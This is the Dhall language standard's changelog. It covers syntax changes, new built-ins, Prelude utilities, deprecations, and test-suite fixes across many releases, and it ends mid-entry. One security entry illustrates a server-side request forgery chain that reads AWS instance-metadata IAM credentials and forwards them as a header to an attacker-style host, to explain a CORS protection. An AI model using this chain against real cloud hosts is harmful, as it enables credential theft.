All notable changes to the Dhall language standard will be documented in this file.
For more info about our versioning policy, see versioning.md.
New features:
-
The language now permits trailing delimiters, including:
-
Trailing commas for record literals:
{ x = 1, y = 2, }
-
Trailing commas for record types:
{ x : Natural, y : Natural, }
-
Trailing commas for list literals:
[ 1, 2, ]
-
Trailing bars for union types:
< Left : Natural | Right : Bool | >
These trailing delimiters will allow you to format your code in a style more familiar to JavaScript / Python / Go / Rust programmers.
-
-
Add
.dhall
extensions on Prelude filesAll Prelude files now include a version with a
.dhall
extension, both for consistency with the rest of the ecosystem and to automatically trigger correct syntax highlighting and editor support based on the.dhall
extension.The old files without the extension are still present (so this change is backwards-compatible), but now all they do is re-export the file with the
.dhall
extension.New additions to the Prelude will require the
.dhall
extension and won't include the extension-free counterpart.
Other changes:
-
Fixes and improvements to the standard:
Breaking changes:
-
Remove the ability to quote paths in URLs
After a deprecation period, quoted path components are no longer supported in URLs. For example, this is no longer valid:
https://example.com/"foo bar"
Instead, you will now need to percent-encode path components:
https://example.com/foo%20bar
For more details, see: Deprecation of quoted paths in URLs
-
Remove
Optional/build
andOptional/fold
After a deprecation period,
Optional/build
andOptional/fold
are no longer built-ins and can be implemented in terms of other language constructs.Specifically,
Optional/build
can be replaced withPrelude.Optional.build
, which is defined as:λ(a : Type) → λ ( build : ∀(optional : Type) → ∀(some : a → optional) → ∀(none : optional) → optional ) → build (Optional a) (λ(x : a) → Some x) (None a)
... and
Optional/fold
can be replaced withPrelude.Optional.fold
, which is defined as:λ(a : Type) → λ(o : Optional a) → λ(optional : Type) → λ(some : a → optional) → λ(none : optional) → merge { None = none, Some = some } o
For more details, see: Deprecation of
Optional/fold
andOptional/build
New features:
-
Allow quoted labels to be empty
You can now define records with blank labels, so long as you escape them with backticks, like this:
{ `` = 1 }
-
Fixes and improvements to the Prelude:
Other changes:
-
Fixes and improvements to the standard:
-
Fixes and improvements to the standard test suite:
Breaking changes:
-
Adjust precedence of
===
andwith
This includes two precedence changes:
-
with
expressions now forbid operators for their left-hand agumentFor example, now these parentheses are required:
({ x = 0 } ∧ { y = 1 }) with x = 1
Previously, if you omitted the parentheses, like this:
{ x = 0 } ∧ { y = 1 } with x = 1
... that would have parsed as:
{ x = 0 } ∧ ({ y = 1 } with x = 1)
... but now you would get a failed parse if you were to omit the parentheses.
This restriction forbids expressions that might have been ambiguous to readers. This is definitely a breaking change, since such expressions were previously valid now require explicit parentheses, otherwise they will fail to parse.
Along the same lines, an expression like this:
record with x.y = {} // { x = 1 }
... used to parse as:
(record with x.y = {}) // { x = 1 }
... but now parses as:
record with x.y = ({} // { x = 1 })
... which is a different expression.
The motivation for the latter change in precedence is to permit right-hand sides that contain operators without explicit parentheses, like this:
record with x.y = 2 + 2
-
The precedence of
===
is now lower than all of the operatorsThe motivation for this change is to that you no longer need to parenthesize tests just because they use operators. For example, previously the following parentheses were mandatory:
let example = assert : (2 + 2) === 4
... and now you can safely omit the parentheses:
let example = assert : 2 + 2 === 4
This part is not a breaking change because any expression affected by this change in precedence would not have type-checked anyway.
-
-
Update encoding of floating point values to RFC7049bis
This changes how
Double
literals are encoded to match a new standard recommendation how to canonically encode floating point values. Specifically, these values are now encoded using the smallest available CBOR representation, (which could be half precision floating point values). Previously, the Dhall standard would always use at least 32 bits for encoding floating point values (except for special values likeInfinity
orNaN
).This is a technically breaking change because this affects the computed integrity checks for frozen imports, but you are less likely to hit this in practice because: (A) usually only Dhall packages containing reusable utilities are frozen using integrity checks and (B) there are essentially no useful utilities one could write in Dhall using specific
Double
literals since they are opaque.
New features:
-
Now, a union type like this one is valid:
< x : Bool | y | z : Type >
... or more generally you can mix terms, types, and kinds within the same union (similar to how you can mix them within records).
Besides permitting more expressions this change also simplifies the standard.
-
New additions to the Prelude
Other changes:
-
Fixes and improvements to the standard:
-
Fixes and improvements to the standard test suite:
Deprecation notice:
-
URLs with quoted paths are deprecated
In other words, you will no longer be able to do this:
https://example.com/"foo bar"
Instead, you will need to percent-encode URLs, like this:
https://example.com/foo%20bar
Support for quoted URL paths will be removed in two more releases in an effort to slowly simplify the standard. See the above link to the migration guide for more details.
Breaking changes:
-
You can now update a deeply-nested record using the
with
keyword, like this:let record = { x.y = 1 } in record with x.y = 2 with x.z = True
... which evaluates to:
{ x = { y = 2, z = True } }
The
with
keyword is syntactic sugar for using//
repeatedly to override nested fields. For example, this expression:record with x.y = 2
... is syntactic sugar for:
record // { x = record.x // { y = 2 } }
This feature is a technically breaking change because the
with
keyword is now reserved. -
JSON: support pretty JSON formatting
Prelude.JSON.render
now pretty-prints JSON instead of rendering on a single lineFor example:
JSON.render ( JSON.array [ JSON.bool True , JSON.string "Hello" , JSON.object [ { mapKey = "foo", mapValue = JSON.null } , { mapKey = "bar", mapValue = JSON.double 1.0 } ] ] )
... evaluates to:
'' [ true, "Hello", { "foo": null, "bar": 1.0 } ] ''
This feature is a breaking change to the output (the old compact rendering was not preserved), but the generated JSON is semantically the same.
New features:
-
The language now supports record "puns" to easily create fields from identifiers of the same name already in scope.
For example, this expression:
let x = 1 let y = 2 in { x, y }
... is the same thing as:
let x = 1 let y = 2 in { x = x, y = y }
This comes in handy when creating records that package several locally-defined identifiers.
Note that this does not yet support the same syntax for destructuring records. Currently this feature only affects record assembly.
Other changes:
-
Fixes and improvements to the standard:
-
Fixes and improvements to the Prelude:
Deprecation notice:
-
The
Optional/fold
andThese built-ins will be removed in three more releases in an effort to slowly simplify the standard. See the above link to the migration guide for more details.
Breaking changes:
-
Disallow Natural literals with leading zeros
Natural
numbers can no longer start with a leading zero, for two main reasons:-
So that users will not confuse them with octal numbers
-
So that implementations are less likely to inadvertently parse them as octal numbers
-
New features:
-
Add support for duplicate record fields
Up until now, the Dhall interpreter would reject duplicate fields within records, such as:
{ a = { b = 1 }, a = { c = 1 } }
However, several other configuration languages permit duplicate fields so long as (A) they are records and (B) their nested fields do not conflict (such as in the above example). Now the Dhall configuration language behaves that way, too.
Specifically, the rules are that more than one occurrence of a field desugars to use of the
∧
operator to combine the duplicate occurrences. So, for example, the above expression is now syntactic sugar for:{ a = { b = 1 } ∧ { c = 1 } }
... which then further evaluates to:
{ a = { b = 1, c = 1 } }
Other cases for duplicate fields are still rejected as type errors. For example, this expression:
{ a = 0, a = 0 }
... desugars to:
{ a = 0 ∧ 0 }
... which is a type error.
This feature combines well with the following feature for dotted field syntax.
-
Add support for dotted field syntax
You can now compress deeply nested record hierarchies by chaining nested fields with dots.
For example, the following record:
{ a.b.c = 1 }
... is syntactic sugar for nesting records like this:
{ a = { b = { c = 1 } } }
You can combine this feature with the previous feature for duplicate fields. For example, the following record:
{ a.b.c = 1, a.b.d = True }
... desugars to:
{ a = { b = { c = 1 } }, a = { b = { d = True } } }
... and the duplicate fields merge to produce:
{ a = { b = { c = 1, d = True } } }
-
Fix typing rule for merging
Optional
sThe previous released introduced
merge
support forOptional
values, such as:merge { None = 0, Some = λ(n : Natural) → n } (Some 4)
However, the final argument to
merge
was limited toOptional
literals (e.g.Some
orNone
), but did not work on abstractOptional
values, such as bound variables. For example, the following example would fail to type-check:λ(o : Optional Natural) → merge { None = 0, Some = λ(n : Natural) → n } o
This release fixes that and the above example is now valid Dhall code.
Breaking changes:
-
Extend Prelude's JSON type to handle unlimited precision
Integer
s andNatural
sThis adds new
Prelude.JSON.{double,integer,natural}
utilities and the latter two utilities can store arbitraryInteger
s andNatural
without loss of precision.For example:
let JSON = https://prelude.dhall-lang.org/JSON/package.dhall in JSON.render (JSON.natural 1000000000000000000000000000000)
Prelude.JSON.number
still remains and is a synonym forPrelude.JSON.double
This is a technically breaking change because this alters
Prelude.JSON.Type
but in practice this will not break code that treats that type as a black box.
New features:
-
Extend
merge
to work onOptional
sYou can use
merge
onOptional
s as if they were a union, like this:merge { None = False, Some = λ(b : Bool) → b } (Some True)
-
Add support for hexadecimal numbers
You can now use hexadecimal literals for
Natural
s andInteger
s, like this:0xFF -0xE1
-
New additions to the Prelude
Other changes:
-
Fixes and improvements to the Prelude:
-
Fixes and improvements to the standard:
Breaking changes:
-
New
Integer/negate
andInteger/clamp
builtinsThis change adds two new built-ins so that
Integer
s are no longer opaque. These two built-ins permit transforming back and forth betweenInteger
s andNatural
numbers, so you can in theory now implement arbitrary operations onInteger
s.These two built-ins have the following types:
-
Integer/clamp : Integer → Natural
- Converts anInteger
to aNatural
number, truncating to0
if theInteger
was negative -
Integer/negate : Integer → Integer
- Negates anInteger
See below for the matching change to the Prelude to use these built-ins to power several new Prelude utilities.
-
-
This removes support for
Natural
/List
/Optional
"fusion".For example, before this change an expression such as:
λ(x : Natural) → Natural/build (Natural/fold x)
... would simplify to:
λ(x : Natural) → x
... or in other words paired occurrences of
Natural/build
andNatural/fold
would "fuse" away and disappear since they are inverses of one another. Similarly,List/build
/List/fold
andOptional/build
/Optional/fold
would fuse away in the same way.After this change they no longer do so. We removed language support for fusion for two reasons:
-
Fusion was specified in such a way that the language was no longer confluent
Note: We have not proven that the language is now confluent in the absence of fusion, but we are certain that fusion was interfering with confluence.
A practical consequence of the absence confluence was that fusion-related optimizations were brittle
-
Fusion added implementation complexity
... which in turn increased the difficulty of porting new language bindings
This is a technically breaking change because the normal forms for certain expressions will differ if they relied on fusion, which in turn would perturb semantic integrity checks protecting those expressions. In practice, you are unlikely to be affected by this change.
-
New features:
-
Add new
Integer
functions to PreludeThis change takes advantage of the newly added
Integer/{clamp,negate}
built-ins to add the following operations onInteger
s to the Prelude:-
Integer.abs : Integer → Natural
-
Integer.add : Integer → Integer → Integer
-
Integer.clamp : Integer → Natural
-
Integer.equal : Integer → Integer → Bool
-
Integer.greaterThan : Integer → Integer → Bool
-
Integer.greaterThanEqual : Integer → Integer → Bool
-
Integer.lessThan : Integer → Integer → Bool
-
Integer.lessThanEqual : Integer → Integer → Bool
-
Integer.multiply : Integer → Integer → Integer
-
Integer.negate : Integer → Integer
-
Integer.subtract: Integer → Integer → Integer
-
Integer.toNatural : Integer → Optional Natural
-
-
You can now render
JSON
values as YAML documents using a newPrelude.JSON.renderYAML
utilityNote that this utility is not intended to be as featureful as the
dhall-to-yaml
command-line tool, but can still prove to be useful for:- Rendering YAML documents in pure Dhall when appropriate to do so
- Rendering JSON values as YAML
Text
for use in conciseassert
expressions
-
Add a
Prelude.JSON.omitNullFields
While
renderYAML
doesn't aim to be as comprehensive asdhall-to-yaml
we can still provide anomitNull
utility which behaves similarly to the--omitNull
flag for the command-line tool. This function removes allnull
-valued record fields from aJSON
expression:JSON/omitNull : JSON → JSON
-
This change exploits the recently-added
Natural/subtract
built-in to implement high-performance list truncation utilities of the following types:-
List/take : Natural → ∀(a : Type) → List a → List a
-
List/drop : Natural → ∀(a : Type) → List a → List a
-
-
Add
JSON.tag{Inline,Nested}
helpers for union encodingThese are convenience utilities to support the
dhall-to-{json,yaml}
executables which provide a mechanism for converting union literals to tagged JSON records:-
JSON/tagInline : ∀(tagFieldName : Text) → ∀(a : Type) → ∀(contents : a) → { contents : a, field : Text, nesting : < Inline | Nested : Text > }
-
JSON/tagNested : ∀(contentsFieldName : Text) → ∀(tagFieldName : Text) → ∀(a : Type) → ∀(contents : a) → { contents : a, field : Text, nesting : < Inline | Nested : Text > }
-
Other changes:
-
Fixes and improvements to the standard:
-
Fixes and improvements to the Prelude:
-
Fixes and improvements to the standard test suite:
New features:
Other changes:
-
Fix referentially opaque Prelude test
This fixes the Prelude so that the top-level
package.dhall
can be imported remotely
Breaking changes:
-
Simplify
⫽
within record projectionThis change allows the interpreter to simplify an expression like this:
(r ⫽ { x = 1, y = True }).{ x, z }
... to this:
r.{ z } ⫽ { x = 1 }
This is a technically breaking change because it changes the normal form for expressions that can be simplified in this way, which in turn perturbs their hash if they are protected by a semantic integrity check. However, in practice this is unlikely to disrupt your code.
-
Simplify nested record projection
This change allows the interpreter to simplify an expression like this:
r.{ x, y, z }.{ x, y }
... to this:
r.{ x, y }
This is a technically breaking change because it changes the normal form for expressions that can be simplified in this way, which in turn perturbs their hash if they are protected by a semantic integrity check. However, in practice this is unlikely to disrupt your code.
New features:
-
Add support for leading separators
Record literals, record types, and union types all now support leading separators, like this:
{ , x = 1, y = True } { , x : Natural, y : Bool } < | x : Natural | y : Bool >
... which are more commonly used when formatting a multi-line expression so that you can always add/remove entries with only a single-line change.
let example = { , x = 1 , y = True }
-
Standardize support for record completion
This adds a new operator:
T::r
... which is syntactic sugar for:
(T.default ⫽ r) : T.Type
The motivation for this change is to handle configuration formats with a large number of defaultable fields so that users can omit any default-valued fields when creating a record:
let Example = { Type = { foo : Text, bar : Optional Natural } , default = { bar = None Natural } } -- No need to specify `bar` since it will default to `None Natural` in Example::{ foo = "ABC" }
-
Improved Windows support for caching
Interpreters will now use Windows-appropriate cache directories (i.e.
%LOCALAPPDATA%
) when available -
Prelude: Include types in the
package.dhall
filesYou can now access
Prelude.Map.Type
,Prelude.JSON.Type
and other types from the Prelude'spackage.dhall
-
Prelude: Add
List.{default,empty}
,Map.empty
,Optional.default
This adds the following new Prelude utilities:
Prelude.List.default : ∀(a : Type) → Optional (List a) → List a Prelude.List.empty : ∀(a : Type) → List a Prelude.Map.empty : ∀(k : Type) → ∀(v : Type) → Map k v Prelude.Optional.default : ∀(a : Type) → a → Optional a → a
-
Prelude: Move
JSON.key{Text,Value}
toMap
Prelude.JSON.keyText
is now also available fromPrelude.Map.keyText
Similarly,
Prelude.JSON.keyValue
is now also available fromPrelude.Map.keyValue
Other changes:
-
Fixes and improvements to the standard
-
β-normalize all inferred types
Now all inferred types are in β-normal form, which improves performance and also makes the standard simpler and more consistent
-
-
Fixes and improvements to the standard test suite:
- Merge
typecheck
andtype-inference
tests - Add failure test for
toMap
of record of kindKind
- Fix the
tests/type-inference/success/prelude
test - Test that the type annotation on a
toMap
of an empty record is normalized - Fix the
toMapEmptyNormalizeAnnotation
test case - Replace type-inference failure test for mismatching
merge
annotation - Add regression test
- More tests, mostly parsing and type-inference
- Merge type-inference tests using imports into import tests
- Merge
-
Fixes and improvements to the Prelude:
Breaking changes:
-
Remove old-style union literals from the language
This is the final phase of removing support for the old union literal syntax and they are no longer supported.
Now, instead of writing this:
< Left = 1 | Right : Bool >
... you must write this:
< Left : Natural | Right : Bool >.Left 1
... or more commonly:
let Example = < Left : Natural | Right : Bool > in Example.Left 1
For more details, including migration instructions, see: Migration: Deprecation of old union literal syntax
-
Add support for dependent types
Dhall now provides rudimentary support for dependent types, which in turn enables a new
assert
keyword for testing code.For example, now you can write unit tests for your functions like this:
let not = λ(x : Bool) → x == False let example0 = assert : not True === False -- (≡) (U+2261) is the Unicode analog of (===) let example1 = assert : not False ≡ True in not
You can also write property tests in the same way, too:
let rightIdentity = λ(x : Natural) → assert : x ≡ (x + 0) let leftIdentity = λ(x : Natural) → assert : x ≡ (0 + x) -- Note: This last assertion will fail because Dhall's simplifier currently -- cannot detect that re-associated expressions are equivalent let associativity = λ(x : Natural) → λ(y : Natural) → λ(z : Natural) → assert : (x + (y + z)) === ((x + y) + z) in {=}
Dhall is technically dependently typed, meaning that you can now have functions from terms to types, like this:
let Tagged = λ(label : Text) → λ(a : Type) → a in 1 : Tagged "Age" Natural
... but Dhall does not yet support other features that would be required to do more sophisticated things like statically sized
Vector
s. The main new benefit for users is language support for tests.This is a technically breaking change because
assert
is now a reserved keyword. -
This adds a new
Natural/subtract
built-in which truncates to0
if the result is negative.The built-in is useful in its own right, but can also be used to power other utilities (such as efficient comparison of
Natural
numbers, also included in this releases)This is a technically breaking change because
Natural/subtract
is now a reserved identifier, but in practice this is unlikely to break your code unless you defined your own inefficientNatural/subtract
function in terms ofNatural/fold
. If you did so, then just delete the old code and switch to the new built-in.See also: Simplify
Natural/subtract
when its arguments are equivalent -
New simplifications for field selection
The interpreter will now intelligently normalize some unsaturated field selections and projections.
For example, the following code:
λ(x : { a : Bool, b : Bool }) → (x ⫽ { c = 0 }).{ a, c }.c
... will simplify to:
λ(x : { a : Bool, b : Bool }) → 0
This is a technically breaking change because it changes the normal form for expressions that can be simplified in this way, which in turn perturbs their hash if they are protected by a semantic integrity check. However, in practice this is unlikely to disrupt your code.
See also: Add missing symmetric rules for field selection normalization
-
Simplify
//
when its arguments are equivalentThe interpreter will now simplify
x // x
tox
This is a technically breaking change for the same reason as the previous change: because it changes the normal form for expressions using this feature.
-
Don't URL-decode path segments
This changes the the binary representation of URLs to pass through path segments without decoding them for better interoperability with other tools.
This is a technically breaking change because the binary format changes for URLs, but this does not disturb semantic integrity checks since they hash URL-free expressions.
New features:
-
You can now have mixed records of terms, types, and kinds. For example, something like this is now legal:
{ foo = 1, bar = Text }
Practically, this means that Dhall packages can now export both types and terms from the same record, so that they no longer need a separate
types.dhall
record. -
Prelude: Add
Natural
comparison functionsYou can now use high-performance
Natural
comparison functions which are internally powered by the newly-addedNatural/subtract
built-in.
Other changes:
-
Fixes and improvements to the standard:
- Fix
toMap
type inference (and somemerge
tweaks) - [
Natural/subtract
] minor clarification in normalization - β-normalization: Simplify some equivalence-based rules
- Fix RFC5234-compliance of the grammar
- Small tweak for auto-generated parsers
- Small fix for β-normalization
- Use
⩓
to typecheck∧
- Clarify that dependent functions are allowed now
- Fix
-
Fixes and improvements to the Prelude:
-
Fixes and improvements to the standard test suite:
- Test import alternative with type error
- Test binary decoding of label 28
- Make
as Location
tests chain in a consistent way - Test binary decoding of label 27
- Test that nested lets are flattened in binary
- Test integrity check on nested imports
- Add normalization test for (
Natural/subtract 0
) - Add a bunch of tests
- Swap A and B in
BuiltinNaturalSubtract
binary-decode tests - Make normalization tests type-correct
- Fix
tests/typecheck/success/prelude
- Various test fixes
Breaking changes:
-
Remove old
Optional
literal syntaxThis is phase 2 of removing support for the old
List
-likeOptional
literal syntax.This phase removes the old
Optional
literals from the language. You now must useSome
orNone
.For more details, including migration instructions, see: Migration: Deprecation of old
Optional
literal syntax -
Forbid surrogate pairs and non-characters
Dhall no longer supports surrogate pairs within escape sequences. In other words, something like this is no longer valid:
"\uD834\uDD1E"
... and you must instead use a braced escape sequence to represent a Unicode character that would have previously required a surrogate pair:
"\u{1D11E}"
Dhall also no longer supports escape sequences for non-characters, so something like this is also no longer valid:
"\uFFFF"
Surrogate pairs and non-characters are also now explicitly forbidden within the source code (i.e. within comments or unescaped text literals), but these were already forbidden before. Dhall source code has to be valid UTF8, which already disallows those characters.
-
Add
toMap
keyword to create homogeneous maps from recordsYou can now create an association list (a.k.a. a
Map
) from a Dhall record if all of the values stored within the record have the same type. For example:toMap { foo = 1, bar = 2 } = [ { mapKey = "foo", mapValue = 1 }, { mapKey = "bar", mapValue = 2 } ]
This allows a Dhall binding to a configuration format to accept a list of key-value pairs if it doesn't know in advance what keys to expect, while still permitting the user to specify the key-value pairs using record-like syntax.
Two other features within this same release take advantage of this:
-
You can now specify custom headers for imports using the record generated by
toMap
, like this:https://example.com/foo using toMap { Authorization = "token ${env:GITHUB_TOKEN as Text }" }
-
You can specify key-value pairs for the
JSON
type just added to the Prelude usingtoMap
, too:let JSON = https://prelude.dhall-lang.org/JSON/package.dhall in JSON.object (toMap { foo = JSON.number 1.0, bar = JSON.string "baz" })
This is a technically breaking change because
toMap
is now a reserved keyword, but in practice most users will not be affected unless they used that label before this change. -
-
Beta-normalization: Sort the fields of a record projection
Normalization will now sort the fields of a record projection if it cannot be further reduced. For example, this expression:
λ(x : { a : Bool, b : Bool, c : Bool }) → x.{ c, a }
... now normalizes to:
λ(x : { a : Bool, b : Bool, c : Bool }) → x.{ a, c }
This is a technically breaking change because it might perturb the hash of any expression that contains an irreducible record projection, but in practice this should not affect most users.
New features:
-
Implement importing paths
as Location
Dhall now permits reflection on fully resolved import paths so that these paths remain up-to-date no matter where the configuration file is interpreted from.
For example, suppose that you store the following configuration file at
/home/john/example.dhall
:{ packagePath = "./purescript-simple-json" }
... where
packagePath
is intended to point to/home/john/purescript-simple-json
.... but then you use that to configure a program running with a different current working directory, such as:
PWD=/home/alice/
. That program will fail to resolve the package path because/home/alice/purescript-simple-json
does not exist.However, if you change the configuration to:
{ packagePath = ./purescript-simple-json as Location }
Then the interpreter will replace the import with an expression encoding the absolute path to the import, generating an expression equivalent to this:
let Location = https://prelude.dhall-lang.org/Location/Type in { packagePath = Location.Local "/home/john/purescript-simple-json" }
... so that the Dhall configuration file can be used to configure a program running within any working directory.
If the same file were hosted at
https://example.com/john/example.dhall
then the expression would evaluate to:let Location = https://prelude.dhall-lang.org/Location/Type in { packagePath = Location.Remote "https://example.com/john/purescript-simple-json" }
-
Allow all RFC3986-compliant URLs
Now all URLs are valid imports.
For example, before this change
https://example.com
was not a valid import due to not having any path components and after this change URLs without paths are valid.This change also enables:
- URLs with empty path components (i.e.
https://example.com///
) - Path components with unquoted special characters, such as
=
- URLs with empty path components (i.e.
-
Generalize empty list annotations
You can now annotate an empty list with a type synonym, like this:
let Example = List Natural in [] : Example
Before this change, the
List
in: List
was part of the grammar for empty lists, and you could only create a type synonym for the list element type, but not the list type as a whole. Now you can create a type synonym for the list type. -
Add
Map
type and utility functions to PreludeThe Prelude is now enshrining the Dhall idiom of using
List { mapKey : Text, mapValue : a }
to represent homogeneous maps by adding basic types and utilities for working with values of that type.This change pairs well with the following matching changes in this release:
-
Use multihash for cache filenames
Dhall caches imports protected by semantic integrity checks underneath
${XDG_CACHE_HOME}/dhall
or~/.cache/dhall
and this change affects the names of the cache files, which are now preceded with the four characters1220
to reflect the multi-hash standard.This change means that the interpreter will not reuse old cache files when upgrading from an older release, so the cache will be rebuilt upon the first run of the interpreter. However, this is not a breaking change as this does not change the final result interpreting a protection protected by a semantic integrity check.
-
Add support for braced escape sequences
You can now escape Unicode characters using braces, like this:
"Musical symbol G clef: \u{1D11E}"
This allows Dhall to escape Unicode characters with code points greater than
0xFFFF
without the use of surrogate pairs. This is necessary given that surrogate pair escape sequences are now forbidden within this same release. -
Prelude: Add standard representation for weakly-typed JSON values
Utilities like
dhall-to-{json,yaml}
and{json,yaml}-to-dhall
have up until now only supported Dhall types with schemas known ahead-of-time. However, some configuration file formats support fields that can store arbitrary JSON code (such as arbitrary JSON that the configuration intends to "pass through" to configure another step).This change adds a canonical type to the Prelude for representing an arbitrary JSON value and utilities for creating such JSON values. For example:
let JSON = https://prelude.dhall-lang.org/JSON/package.dhall in JSON.object ( toMap { foo = JSON.null , bar = JSON.array [ JSON.number 1.0, JSON.bool True ] } )
Also, the matching release of the
dhall-json
package supports this weakly-typed representation anywhere within the schema when converting either way between JSON/YAML and Dhall configuration files. -
Use
Prelude/Map
for import headersYou can now use a value of type
List { mapValue : Text, mapValue : Text }
to represent custom headers within an import'susing
clause instead ofList { header : Text, value : Text }
. For example:https://example.com/foo using [ { mapKey = "Authorization" , mapValue = "token ${env:GITHUB_TOKEN as Text}" } ]
... or using the new
toMap
keyword:https://example.com/foo using toMap { Authorization = "token ${env:GITHUB_TOKEN as Text}" }
The old
header
/value
form is still supported, so this is not a breaking change. However, at some point in the future we may initiate the process of deprecatingheader
/value
support. -
There is now a
Prelude/XML
package that you can use to represent and render a subset of XML values using Dhall. This will eventually be used to power adhall-to-xml
utility.For example:
let XML = https://prelude.dhall-lang.org/XML/package.dhall in XML.render (XML.leaf { name = "foobar", attributes = XML.emptyAttributes }) = "<foobar/>"
Other changes:
-
Fixes and improvements to the standard:
- Use RFC3986 section 5 URL resolution algorithm
- Simpler way of incorporating RFC 3986 resolution
- Only allow valid HTTP(S) reg-names
- Treat "multi-lets" as syntactic sugar
- Clarify how semantic integrity checks work for
as Text
- Normalize projection-by-expression via projection
- Fix mistake in
let
type-checking documentation - Fix type inference rule for projection by type
- Tidy up record projection
- Beta normalization: Use
=
instead of⇥
with thekeys
helper - Binary encoding: Use 28 for empty lists with non-List annotations
- Fix grammar for empty list literals
- Left factor grammar for domains
dhall.abnf
: Replace (ALPHA / DIGIT
) withALPHANUM
- Fix first-application-expression rule
- Fix type-inference for
toMap
-
Fixes and improvements to standard test suite:
- Test for fetching imports from cache
- Add a bunch of binary decode tests
- Fix
parenthesizeUsing
parser test - Fix projection by expression parser test and add more
- Commuting operators should not normalize commuted
- Fix normalization test for
Prelude/JSON/Type
- Fix normalization tests containing unbound variables
- Fix
as Location
tests - Add test to ensure that
constructors
doesn't typecheck anymore - Add failure tests for deprecated
Optional
literal syntax - Fix
toMap
normalization test - Fix
ListLitEmptyPrecedence
parsing test potPourriB.dhallb
: Fix encoding of query string- Add CBOR diagnostic files for ease of code review
-
Fixes and improvements to the Prelude:
Breaking changes:
-
Allow tabs and blank lines in multiline strings
This changes two things about how multiline strings handle whitespace:
-
Blank lines are now ignored for the purpose of dedenting multiline strings
Previously empty lines would still require the same number of leading spaces as other lines in order for multiline string literals to be properly dedented.
For example, the following multi-line string is now dedented:
let example = ␠␠␠␠␠␠'' ␠␠␠␠␠␠foo ␠␠␠␠␠␠bar ␠␠␠␠␠␠'' in …
... to this equivalent double-quoted string literal:
"foo\n\nbar\n"
-
Multiline literals with leading tabs will now also be dedented
To be precise, multiline literals will now dedent any shared prefix consisting of tabs and spaces so long as each (non-blank) line begins with the same prefix, such as this code:
let example = ␉␠'' ␉␠foo ␉␠bar ␉␠'' in …
... which also desugars to the same double-quoted string literal:
"foo\n\nbar\n"
This is a breaking change because multi-line string literals with blank lines or leading tabs are now interpreted differently. However, expressions that padded blank lines with leading whitespace are unaffected by this change.
-
-
String literals that do nothing but interpolate a single expression are now simplified to that expression.
For example, this code:
λ(x : Text) → "${x}"
... now normalizes to this code:
λ(x : Text) → x
This is technically a breaking change because semantic integrity checks will change for any expressions that can be simplified in this way. However, functionally this has no change on the code's behavior as the simplified code is extensionally equal to the original code.
There is also another related change within this same release:
-
Encode integrity check as multihash
This changes how imports with semantic integrity checks are serialized by updating them to follow the multihash standard.
This is a technically breaking change if you serialize uninterpreted expressions that contain imports, but this has no effect on semantic integrity checks, which are computed from fully-resolved expressions.
New features:
-
Record projection by expression
You can now project out a subset of record fields by specifying the expected type. For example, this expression:
let e = { a = 10, b = "Text" } let s = { a : Natural } in e.(s)
... normalizes to:
{ a = 10 }
In other words, the type can be used as a record selector if surrounded with parentheses.
-
Before this change
Sort
was not permitted anywhere within an expression and could only appear as the inferred type of an expression.Now
Sort
can be used as a type annotation, such as:Kind : Sort
... but is still forbidden elsewhere within expressions.
This is not a breaking change: this only permits more expressions to type-check than before.
-
Standardize support for header forwarding and inline headers
This makes two changes to the language:
-
You can now specify custom headers inline, like this:
https://httpbin.org/user-agent using [ { header = "User-Agent", value = "Dhall" } ] as Text
... instead of having to specify them in a separate import
-
Headers are now automatically forwarded to relative imports
In other words, if you import
https://example.com/foo.dhall using someHeaders
and that in turn imports./bar.dhall
then that will resolve tohttps://example.com/bar.dhall using someHeaders
. In other words, the same headers used to fetchfoo.dhall
will also be used to fetchbar.dhall
.This is most commonly used resolve transitive imports for expressions hosted within a private repository that requires authenticated headers.
-
-
Allow self-describe-cbor when decoding
This extends the binary decoding logic to permit (and ignore) CBOR tag 55799, as required by the CBOR RFC.
This is not a breaking change: this only permits more CBOR expressions to be decoded than before.
Other changes:
-
Fixes and improvements to the standard
- Clarify which judgement is introduced by each section of the semantics
- Use ASCII names for standard files
- Add missing commas
- Explain the encoding labelling scheme
- Clarify release process
- Update test
README
to match directory name - Fix typo: β-normalization → α-normalization
- Fix IP parsing
- Add missing base cases for union type type inference
- Fix union constructor type inference judgments
-
Fixes and improvements to the standard test suite
- Don't escape strings in CBOR encoding
- Split import tests up into unit tests
- A simple test case that found a bug in
dhall-ruby
- Add regression test for alpha normalization
- Add some tests
- Fix multiline test
- Add unit test for type inference of empty alternative
- Isolate
FunctionNestedBindingXXFree
- Fix self describe CBOR tests
- Don't use old optional syntax unless necessary
- Improve use of unions in tests
- More fixes to unit tests
- Add test for multiline strings with mixed line endings
- Upstream regression test
- Add test for hash mismatch
-
Fixes and improvements to the Prelude
Breaking changes:
-
Protect transitive remote imports with CORS check
This change protects against server-side request forgery by preventing remote imports from importing transitive remote imports that do not explicitly opt in via CORS.
For example, a simple way to exploit an AWS EC2 instance before this change is to ask the instance to interpret
https://example.com/malicious
, where:-
https://example.com/malicious
importshttps://example.com/recordsHeaders using https://example.com/stealCredentials
-
https://example.com/stealCredentials
contains[ { header = "Credentials" , value = http://169.254.169.254/latest/meta-data/iam/security-credentials/role as Text } ]
This is a breaking change because now the import of
http://169.254.169.254
would be rejected, as the response would not include anAccess-Control-Allow-Origin
header permitting itself to be transitively imported.Similarly, this change protects against an external internet import from triggering an interpreter request against a potentially sensitive intranet endpoint unless that intranet endpoint had enabled CORS whitelisting that external domain.
-
-
Remove support for fragment identifiers
Fragment identifiers are not useful for remote imports since:
- They don't affect import resolution because:
- They are not used to resolve the host
- They are not transmitted to the host as part of the path to fetch
- More generally, fragments are required by RFC 3986 to be interpreted client-side (if at all)
- They don't identify any "sub-section" of a Dhall expression to fetch
Therefore, we remove support for them in the grammar and the binary encoding.
This is a breaking change to the binary encoding, although this does not affect semantic integrity checks because they are fully resolved and therefore don't include imports.
- They don't affect import resolution because:
-
Unescape unquoted URI path components
With this change all unquoted URI paths will be unescaped on parsing, and all URI components will be escaped before importing.
This changes the binary encoding, e.g. the following expressions used to encode to the same bytes, but now don't:
https://example.com/a%20b/c
https://example.com/"a%20b"/c
-
Simplify text concatenation normalization
From now on, the "text concatenation" operator is interpreted as two interpolations together:
"${l}${r}" ⇥ s₀ ───────────────────── l ++ r ⇥ s₀
This is a breaking change, as the following expression:
λ( a : Text ) → λ( b : Text ) → a ++ b
..used to normalize to itself, while now it normalizes to:
λ( a : Text ) → λ( b : Text ) → "${a}${b}"
New features:
-
Add support for union alternatives without fields
This adds support for unions with empty alternatives that don't store any values. In the simple case where the union has all empty alternatives it degenerates to an enum.
For example this is now possible:
